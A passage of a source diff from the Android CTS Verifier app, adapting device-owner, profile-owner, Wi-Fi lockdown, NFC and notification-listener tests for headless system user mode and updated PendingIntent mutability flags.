+                    /* requestCode= */ 0, new Intent(ACTION_UNINSTALL_COMPLETE),
+                    PendingIntent.FLAG_MUTABLE_UNAUDITED).getIntentSender());
         } catch (IllegalArgumentException e) {
             // The package is not installed: that's fine
         }
@@ -573,12 +590,16 @@
         mDpm.uninstallCaCert(mAdmin, TEST_CA.getBytes());
         mDpm.setMaximumFailedPasswordsForWipe(mAdmin, 0);
         mDpm.setSecureSetting(mAdmin, Settings.Secure.DEFAULT_INPUT_METHOD, null);
-        mDpm.setAffiliationIds(mAdmin, Collections.emptySet());
         mDpm.setStartUserSessionMessage(mAdmin, null);
         mDpm.setEndUserSessionMessage(mAdmin, null);
         mDpm.setLogoutEnabled(mAdmin, false);
 
         uninstallHelperPackage();
+
+        // Must wait until package is uninstalled to reset affiliation ids, otherwise the package
+        // cannot be removed on headless system user mode (as caller must be an affiliated PO)
+        mDpm.setAffiliationIds(mAdmin, Collections.emptySet());
+
         removeManagedProfile();
         getPackageManager().setComponentEnabledSetting(
                 EnterprisePrivacyTestDefaultAppActivity.COMPONENT_NAME,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index c43bd5d..58cf129 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -32,13 +32,18 @@
 import android.os.Process;
 import android.os.RemoteException;
 import android.os.UserHandle;
+import android.os.UserManager;
 import android.util.Log;
 
 import androidx.localbroadcastmanager.content.LocalBroadcastManager;
 
+import com.android.bedstead.dpmwrapper.DeviceOwnerHelper;
+import com.android.compatibility.common.util.enterprise.DeviceAdminReceiverUtils;
 import com.android.cts.verifier.R;
 
 import java.util.Collections;
+import java.util.HashSet;
+import java.util.Set;
 import java.util.function.Consumer;
 
 /**
@@ -65,6 +70,26 @@
     }
 
     @Override
+    public void onReceive(Context context, Intent intent) {
+        if (DeviceAdminReceiverUtils.disableSelf(context, intent)) return;
+        if (DeviceOwnerHelper.runManagerMethod(this, context, intent)) return;
+
+        String action = intent.getAction();
+        Log.d(TAG, "onReceive(): user=" + context.getUserId() + ", action=" + action);
+
+        // Must set affiliation on headless system user, otherwise some operations in the current
+        // user (which is PO) won't be allowed (like uininstalling a package)
+        if (ACTION_DEVICE_ADMIN_ENABLED.equals(action) && UserManager.isHeadlessSystemUserMode()) {
+            Set<String> ids = new HashSet<>();
+            ids.add("affh!");
+            Log.i(TAG, "Setting affiliation ids to " + ids);
+            getManager(context).setAffiliationIds(getWho(context), ids);
+        }
+
+        super.onReceive(context, intent);
+    }
+
+    @Override
     public void onProfileProvisioningComplete(Context context, Intent intent) {
         Log.d(TAG, "Provisioning complete intent received");
         setupProfile(context);
@@ -120,7 +145,9 @@
 
             bindPrimaryUserService(context, iCrossUserService -> {
                 try {
-                    iCrossUserService.switchUser(Process.myUserHandle());
+                    UserHandle userHandle = Process.myUserHandle();
+                    Log.d(TAG, "calling switchUser(" + userHandle + ")");
+                    iCrossUserService.switchUser(userHandle);
                 } catch (RemoteException re) {
                     Log.e(TAG, "Error when calling primary user", re);
                 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index ddf5e0c..cc2131b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -21,16 +21,17 @@
 import android.app.Activity;
 import android.app.AlertDialog;
 import android.app.admin.DevicePolicyManager;
-import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.database.DataSetObserver;
 import android.os.Bundle;
 import android.os.UserManager;
 import android.provider.Settings;
+import android.util.Log;
 import android.view.View;
 import android.view.View.OnClickListener;
 
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
 import com.android.cts.verifier.ArrayTestListAdapter;
 import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
 import com.android.cts.verifier.PassFailButtons;
@@ -50,9 +51,12 @@
 
     private static final String ACTION_CHECK_DEVICE_OWNER =
             "com.android.cts.verifier.managedprovisioning.action.CHECK_DEVICE_OWNER";
+    private static final String ACTION_CHECK_PROFILE_OWNER =
+            "com.android.cts.verifier.managedprovisioning.action.CHECK_PROFILE_OWNER";
     static final String EXTRA_TEST_ID = "extra-test-id";
 
     private static final String CHECK_DEVICE_OWNER_TEST_ID = "CHECK_DEVICE_OWNER";
+    private static final String CHECK_PROFILE_OWNER_TEST_ID = "CHECK_PROFILE_OWNER";
     private static final String DEVICE_ADMIN_SETTINGS_ID = "DEVICE_ADMIN_SETTINGS";
     private static final String WIFI_LOCKDOWN_TEST_ID = WifiLockdownTestActivity.class.getName();
     private static final String DISABLE_STATUS_BAR_TEST_ID = "DISABLE_STATUS_BAR";
@@ -82,12 +86,17 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
-        // Tidy up in case previous run crashed.
-        new ByodFlowTestHelper(this).tearDown();
+        if (!UserManager.isHeadlessSystemUserMode()) {
+            // TODO(b/177554984): figure out how to use it on headless system user mode - right now,
+            // it removes the current user on teardown
+
+            // Tidy up in case previous run crashed.
+            new ByodFlowTestHelper(this).tearDown();
+        }
 
         if (ACTION_CHECK_DEVICE_OWNER.equals(getIntent().getAction())) {
-            DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(
-                    Context.DEVICE_POLICY_SERVICE);
+            DevicePolicyManager dpm = TestAppSystemServiceFactory.getDevicePolicyManager(this,
+                    DeviceAdminTestReceiver.class);
             if (dpm.isDeviceOwnerApp(getPackageName())) {
                 // Set DISALLOW_ADD_USER on behalf of ManagedProvisioning.
                 dpm.addUserRestriction(DeviceAdminTestReceiver.getReceiverComponentName(),
@@ -96,7 +105,21 @@
                         null, null);
             } else {
                 TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
-                        getString(R.string.device_owner_incorrect_device_owner), null);
+                        getString(R.string.device_owner_incorrect_profile_owner, getUserId()),
+                        null);
+            }
+
+            finish();
+            return;
+        }
+        if (ACTION_CHECK_PROFILE_OWNER.equals(getIntent().getAction())) {
+            DevicePolicyManager dpm = getSystemService(DevicePolicyManager.class);
+            if (dpm.isProfileOwnerApp(getPackageName())) {
+                TestResult.setPassedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                        null, null);
+            } else {
+                TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                        getString(R.string.device_owner_incorrect_device_owner, getUserId()), null);
             }
             finish();
             return;
@@ -125,11 +148,19 @@
         setDeviceOwnerButton.setOnClickListener(new OnClickListener() {
             @Override
             public void onClick(View v) {
+                StringBuilder builder = new StringBuilder();
+                if (UserManager.isHeadlessSystemUserMode()) {
+                    builder.append(getString(R.string.grant_headless_system_user_permissions));
+                }
+
+                String message = builder.append(getString(R.string.set_device_owner_dialog_text))
+                        .toString();
+                Log.i(TAG, message);
                 new AlertDialog.Builder(
                         DeviceOwnerPositiveTestActivity.this)
                         .setIcon(android.R.drawable.ic_dialog_info)
                         .setTitle(R.string.set_device_owner_dialog_title)
-                        .setMessage(R.string.set_device_owner_dialog_text)
+                        .setMessage(message)
                         .setPositiveButton(android.R.string.ok, null)
                         .show();
             }
@@ -139,12 +170,20 @@
 
     @Override
     public void finish() {
-        // If this activity was started for checking device owner status, then no need to do any
-        // tear down.
-        if (!ACTION_CHECK_DEVICE_OWNER.equals(getIntent().getAction())) {
-            // Pass and fail buttons are known to call finish() when clicked,
-            // and this is when we want to remove the device owner.
-            startActivity(createTearDownIntent());
+        String action = getIntent().getAction();
+        switch(action) {
+            case ACTION_CHECK_DEVICE_OWNER:
+            case ACTION_CHECK_PROFILE_OWNER:
+                // If this activity was started for checking device / profile owner status, then no
+                // need to do any tear down.
+                Log.d(TAG, "NOT starting createTearDownIntent() due to " + action);
+                break;
+            default:
+                // Pass and fail buttons are known to call finish() when clicked,
+                // and this is when we want to remove the device owner.
+                Log.d(TAG, "Starting createTearDownIntent() due to " + action);
+                startActivity(createTearDownIntent());
+                break;
         }
         super.finish();
     }
@@ -154,6 +193,12 @@
                 R.string.device_owner_check_device_owner_test,
                 new Intent(ACTION_CHECK_DEVICE_OWNER)
                         .putExtra(EXTRA_TEST_ID, getIntent().getStringExtra(EXTRA_TEST_ID))));
+        if (UserManager.isHeadlessSystemUserMode()) {
+            adapter.add(createTestItem(this, CHECK_PROFILE_OWNER_TEST_ID,
+                    R.string.device_owner_check_profile_owner_test,
+                    new Intent(ACTION_CHECK_PROFILE_OWNER)
+                            .putExtra(EXTRA_TEST_ID, getIntent().getStringExtra(EXTRA_TEST_ID))));
+        }
 
         // device admin settings
         adapter.add(createInteractiveTestItem(this, DEVICE_ADMIN_SETTINGS_ID,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LogAndSelfUnregisterBroadcastReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LogAndSelfUnregisterBroadcastReceiver.java
new file mode 100644
index 0000000..00438f9
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LogAndSelfUnregisterBroadcastReceiver.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.managedprovisioning;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.util.Log;
+
+/**
+ * A {@link BroadcastReceiver} used to receive just one intent - it just logs the intent and
+ * unregisters itself.
+ *
+ * <p>Useful for debugging purposes.
+ */
+public final class LogAndSelfUnregisterBroadcastReceiver extends BroadcastReceiver {
+
+    private static final String TAG = LogAndSelfUnregisterBroadcastReceiver.class.getSimpleName();
+
+    /**
+     * Registers the broadcast to receive the given intent.
+     */
+    public static void register(Context context, String action) {
+        context.getApplicationContext().registerReceiver(
+                new LogAndSelfUnregisterBroadcastReceiver(),
+                new IntentFilter(action));
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.i(TAG, "onReceive(): " + intent);
+        context.getApplicationContext().unregisterReceiver(this);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PermissionLockdownTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PermissionLockdownTestActivity.java
index 343820f..e60997e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PermissionLockdownTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PermissionLockdownTestActivity.java
@@ -38,6 +38,7 @@
 import com.android.cts.verifier.R;
 
 import java.util.Arrays;
+
 public class PermissionLockdownTestActivity extends PassFailButtons.Activity
         implements RadioGroup.OnCheckedChangeListener {
     private static final String PERMISSION_APP_PACKAGE = "com.android.cts.permissionapp";
@@ -56,7 +57,7 @@
     static final String ACTION_MANAGED_PROFILE_CHECK_PERMISSION_LOCKDOWN
             = MANAGED_PROVISIONING_ACTION_PREFIX + "MANAGED_PROFILE_CHECK_PERMISSION_LOCKDOWN";
 
-   // Permission grant states will be set on these permissions.
+    // Permission grant states will be set on these permissions.
     private static final String[] CONTACTS_PERMISSIONS = new String[] {
             android.Manifest.permission.READ_CONTACTS, android.Manifest.permission.WRITE_CONTACTS
     };
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/WifiLockdownTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/WifiLockdownTestActivity.java
index d5e9fd0..2f26028 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/WifiLockdownTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/WifiLockdownTestActivity.java
@@ -16,9 +16,14 @@
 
 package com.android.cts.verifier.managedprovisioning;
 
+import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
+import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_WEP;
+import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_WPA;
+
 import android.app.AlertDialog;
 import android.content.Intent;
 import android.database.DataSetObserver;
+import android.net.wifi.WifiManager;
 import android.os.Bundle;
 import android.provider.Settings;
 import android.view.View;
@@ -26,15 +31,12 @@
 import android.widget.EditText;
 import android.widget.RadioGroup;
 
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
+import com.android.compatibility.common.util.WifiConfigCreator;
 import com.android.cts.verifier.ArrayTestListAdapter;
+import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
-import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
-
-import com.android.compatibility.common.util.WifiConfigCreator;
-import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
-import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_WPA;
-import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_WEP;
 
 /**
  * Activity to test WiFi configuration lockdown functionality. A locked down WiFi config
@@ -59,7 +61,9 @@
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        mConfigCreator = new WifiConfigCreator(this);
+        WifiManager wifiManager = TestAppSystemServiceFactory.getWifiManager(this,
+                DeviceAdminTestReceiver.class);
+        mConfigCreator = new WifiConfigCreator(this, wifiManager);
         setContentView(R.layout.wifi_lockdown);
         setInfoResources(R.string.device_owner_wifi_lockdown_test,
                 R.string.device_owner_wifi_lockdown_info, 0);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
index 377d068..3a7f520 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
@@ -60,7 +60,7 @@
         NfcManager nfcManager = (NfcManager) getSystemService(NFC_SERVICE);
         mNfcAdapter = nfcManager.getDefaultAdapter();
         mPendingIntent = PendingIntent.getActivity(this, 0, new Intent(this, getClass())
-                .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0);
+                .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
index d9166a5..faee902 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
@@ -102,7 +102,7 @@
             NfcManager nfcManager = (NfcManager) getSystemService(NFC_SERVICE);
             mNfcAdapter = nfcManager.getDefaultAdapter();
             mPendingIntent = PendingIntent.getActivity(this, 0, new Intent(this, getClass())
-                    .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0);
+                    .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             goToWriteStep();
         } else {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
new file mode 100644
index 0000000..ea48cce
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.notifications;
+
+import android.app.Notification;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.cts.verifier.R;
+
+public class ActionTriggeredReceiver extends BroadcastReceiver {
+
+    public static String ACTION = "com.android.cts.verifier.notifications.ActionTriggeredReceiver";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (ACTION.equals(intent.getAction())) {
+            sendNotification(context, false);
+        }
+    }
+
+    public static void sendNotification(Context context, boolean initialSend) {
+        String initialSendText = context.getString(R.string.action_not_sent);
+        String updateSendText = context.getString(R.string.action_received);
+        NotificationManager nm = context.getSystemService(NotificationManager.class);
+        Notification n1 = new Notification.Builder(
+                context, NotificationListenerVerifierActivity.TAG)
+                .setContentTitle(initialSend ?  initialSendText: updateSendText)
+                .setContentText(initialSend ? initialSendText : updateSendText)
+                .setSmallIcon(R.drawable.ic_stat_charlie)
+                .setCategory(Notification.CATEGORY_REMINDER)
+                .addAction(new Notification.Action.Builder(R.drawable.ic_stat_charlie,
+                        context.getString(R.string.action_test_title),
+                        makeBroadcastIntent(context))
+                        .setAuthenticationRequired(true).build())
+                .build();
+        nm.notify(ACTION, 0, n1);
+    }
+
+    protected static PendingIntent makeBroadcastIntent(Context context) {
+        Intent intent = new Intent(ACTION);
+        intent.setComponent(new ComponentName(context, ActionTriggeredReceiver.class));
+        PendingIntent pi = PendingIntent.getBroadcast(context, 0, intent,
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        return pi;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index 18f82b7..4972d00 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -534,7 +534,7 @@
     private Notification.BubbleMetadata.Builder getIntentBubble() {
         Context context = getApplicationContext();
         Intent intent = new Intent(context, BubbleActivity.class);
-        final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         return new Notification.BubbleMetadata.Builder(pendingIntent,
                 Icon.createWithResource(getApplicationContext(),
@@ -546,14 +546,14 @@
             @NonNull CharSequence content) {
         Context context = getApplicationContext();
         Intent intent = new Intent(context, BubbleActivity.class);
-        final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         Person person = new Person.Builder()
                 .setName("bubblebot")
                 .build();
         RemoteInput remoteInput = new RemoteInput.Builder("reply_key").setLabel("reply").build();
         PendingIntent inputIntent = PendingIntent.getActivity(getApplicationContext(), 0,
-                new Intent(), 0);
+                new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(getApplicationContext(), R.drawable.ic_android);
         Notification.Action replyAction = new Notification.Action.Builder(icon, "Reply",
                 inputIntent).addRemoteInput(remoteInput)
@@ -569,9 +569,9 @@
                 .setActions(replyAction)
                 .setStyle(new Notification.MessagingStyle(person)
                         .setConversationTitle("Bubble Chat")
-                        .addMessage("Hello?",
+                        .addMessage(title,
                                 SystemClock.currentThreadTimeMillis() - 300000, person)
-                        .addMessage("Is it me you're looking for?",
+                        .addMessage(content,
                                 SystemClock.currentThreadTimeMillis(), person)
                 );
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index 121534a..0a21dd8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -16,7 +16,9 @@
 
 package com.android.cts.verifier.notifications;
 
+import static android.provider.Settings.ACTION_NOTIFICATION_LISTENER_DETAIL_SETTINGS;
 import static android.provider.Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS;
+import static android.provider.Settings.EXTRA_NOTIFICATION_LISTENER_COMPONENT_NAME;
 
 import android.app.NotificationManager;
 import android.app.PendingIntent;
@@ -415,7 +417,15 @@
         Intent intent = new Intent(tag);
         intent.setComponent(new ComponentName(mContext, DismissService.class));
         PendingIntent pi = PendingIntent.getService(mContext, code, intent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        return pi;
+    }
+
+    protected PendingIntent makeBroadcastIntent(int code, String tag) {
+        Intent intent = new Intent(tag);
+        intent.setComponent(new ComponentName(mContext, ActionTriggeredReceiver.class));
+        PendingIntent pi = PendingIntent.getBroadcast(mContext, code, intent,
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pi;
     }
 
@@ -497,8 +507,8 @@
         @Override
         protected void test() {
             mNm.cancelAll();
-            Intent settings = new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
-            if (settings.resolveActivity(mPackageManager) == null) {
+
+            if (getIntent().resolveActivity(mPackageManager) == null) {
                 logFail("no settings activity");
                 status = FAIL;
             } else {
@@ -521,7 +531,10 @@
 
         @Override
         protected Intent getIntent() {
-            return new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS);
+            Intent settings = new Intent(ACTION_NOTIFICATION_LISTENER_DETAIL_SETTINGS);
+            settings.putExtra(EXTRA_NOTIFICATION_LISTENER_COMPONENT_NAME,
+                    MockListener.COMPONENT_NAME.flattenToString());
+            return settings;
         }
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 1d704b0..44abb28 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.verifier.notifications;
 
+import static android.app.Notification.VISIBILITY_PRIVATE;
 import static android.app.NotificationManager.IMPORTANCE_LOW;
 import static android.app.NotificationManager.IMPORTANCE_MAX;
 import static android.app.NotificationManager.IMPORTANCE_NONE;
@@ -35,6 +36,7 @@
 import static com.android.cts.verifier.notifications.MockListener.REASON_LISTENER_CANCEL;
 
 import android.annotation.SuppressLint;
+import android.app.KeyguardManager;
 import android.app.Notification;
 import android.app.NotificationChannel;
 import android.app.NotificationChannelGroup;
@@ -50,13 +52,13 @@
 import android.os.SystemClock;
 import android.provider.Settings;
 import android.provider.Settings.Secure;
+import android.service.notification.NotificationListenerService;
 import android.service.notification.StatusBarNotification;
 import android.util.ArraySet;
 import android.util.Log;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.Button;
-import android.widget.FrameLayout;
 import android.widget.RemoteViews;
 
 import androidx.core.app.NotificationCompat;
@@ -75,9 +77,9 @@
 
 public class NotificationListenerVerifierActivity extends InteractiveVerifierActivity
         implements Runnable {
-    private static final String TAG = "NoListenerVerifier";
+    static final String TAG = "NoListenerVerifier";
     private static final String NOTIFICATION_CHANNEL_ID = TAG;
-    private static final String NOISY_NOTIFICATION_CHANNEL_ID = TAG + "Noisy";
+    private static final String NOISY_NOTIFICATION_CHANNEL_ID = TAG + "noisy";
     protected static final String PREFS = "listener_prefs";
     final int NUM_NOTIFICATIONS_SENT = 3; // # notifications sent by sendNotifications()
 
@@ -119,6 +121,10 @@
         tests.add(new IsEnabledTest());
         tests.add(new ServiceStartedTest());
         tests.add(new NotificationReceivedTest());
+        tests.add(new SendUserToChangeFilter());
+        tests.add(new AskIfFilterChanged());
+        tests.add(new NotificationTypeFilterTest());
+        tests.add(new ResetChangeFilter());
         tests.add(new LongMessageTest());
         tests.add(new DataIntactTest());
         tests.add(new AudiblyAlertedTest());
@@ -130,6 +136,7 @@
         tests.add(new SnoozeNotificationForTimeCancelTest());
         tests.add(new GetSnoozedNotificationTest());
         tests.add(new EnableHintsTest());
+        tests.add(new LockscreenVisibilityTest());
         tests.add(new ReceiveAppBlockNoticeTest());
         tests.add(new ReceiveAppUnblockNoticeTest());
         if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
@@ -144,6 +151,9 @@
         tests.add(new IsDisabledTest());
         tests.add(new ServiceStoppedTest());
         tests.add(new NotificationNotReceivedTest());
+        tests.add(new AddScreenLockTest());
+        tests.add(new SecureActionOnLockScreenTest());
+        tests.add(new RemoveScreenLockTest());
         return tests;
     }
 
@@ -165,11 +175,11 @@
     @SuppressLint("NewApi")
     private void sendNotifications() {
         mTag1 = UUID.randomUUID().toString();
-        Log.d(TAG, "Sending " + mTag1);
+        Log.d(TAG, "Sending #1: " + mTag1);
         mTag2 = UUID.randomUUID().toString();
-        Log.d(TAG, "Sending " + mTag2);
+        Log.d(TAG, "Sending #2: " + mTag2);
         mTag3 = UUID.randomUUID().toString();
-        Log.d(TAG, "Sending " + mTag3);
+        Log.d(TAG, "Sending #3: " + mTag3);
 
         mWhen1 = System.currentTimeMillis() + 1;
         mWhen2 = System.currentTimeMillis() + 2;
@@ -185,7 +195,7 @@
 
         mPackageString = "com.android.cts.verifier";
 
-        Notification n1 = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+        Notification n1 = new Notification.Builder(mContext, NOISY_NOTIFICATION_CHANNEL_ID)
                 .setContentTitle("ClearTest 1")
                 .setContentText(mTag1)
                 .setSmallIcon(mIcon1)
@@ -290,7 +300,7 @@
             }
             Notification.Builder builder = new Notification.Builder(
                     mContext, NOTIFICATION_CHANNEL_ID)
-                    .setSmallIcon(android.R.id.icon)
+                    .setSmallIcon(R.drawable.ic_stat_alice)
                     .setContentTitle("This is an long notification")
                     .setContentText("Innocuous content")
                     .setStyle(new Notification.MessagingStyle("Fake person")
@@ -494,6 +504,85 @@
     }
 
     /**
+     * Creates a notification channel. Sends the user to settings to disallow the channel from
+     * showing on the lockscreen. Sends a notification, checks the lockscreen setting in the
+     * ranking object.
+     */
+    protected class LockscreenVisibilityTest extends InteractiveTestCase {
+        private int mRetries = 3;
+        private View mView;
+        @Override
+        protected View inflate(ViewGroup parent) {
+            mView = createNlsSettingsItem(parent, R.string.nls_visibility);
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(false);
+            return mView;
+        }
+
+        @Override
+        protected void setUp() {
+            createChannels();
+            status = READY;
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(true);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            NotificationChannel channel = mNm.getNotificationChannel(NOTIFICATION_CHANNEL_ID);
+            if (channel.getLockscreenVisibility() == VISIBILITY_PRIVATE) {
+                if (mRetries == 3) {
+                    sendNotifications();
+                }
+
+                NotificationListenerService.Ranking rank =
+                        new NotificationListenerService.Ranking();
+                StatusBarNotification sbn = MockListener.getInstance().getPosted(mTag1);
+                if (sbn != null) {
+                    MockListener.getInstance().getCurrentRanking().getRanking(sbn.getKey(), rank);
+                    if (rank.getLockscreenVisibilityOverride() == VISIBILITY_PRIVATE) {
+                        status = PASS;
+                    } else {
+                        logFail("Actual visibility:" + rank.getLockscreenVisibilityOverride());
+                        status = FAIL;
+                    }
+                } else {
+                    if (mRetries > 0) {
+                        mRetries--;
+                        status = RETEST;
+                    } else {
+                        logFail("Notification wasn't posted");
+                        status = FAIL;
+                    }
+                 }
+
+            } else {
+                // user hasn't jumped to settings  yet
+                status = WAIT_FOR_USER;
+            }
+
+            next();
+        }
+
+        protected void tearDown() {
+            MockListener.getInstance().resetData();
+            deleteChannels();
+        }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(Settings.ACTION_CHANNEL_NOTIFICATION_SETTINGS)
+                    .putExtra(EXTRA_APP_PACKAGE, mContext.getPackageName())
+                    .putExtra(EXTRA_CHANNEL_ID, NOTIFICATION_CHANNEL_ID);
+        }
+    }
+
+    /**
      * Sends the user to settings to block the app. Waits to receive the broadcast that the app was
      * blocked, and confirms that the broadcast contains the correct extras.
      */
@@ -1608,4 +1697,230 @@
             next();
         }
     }
+
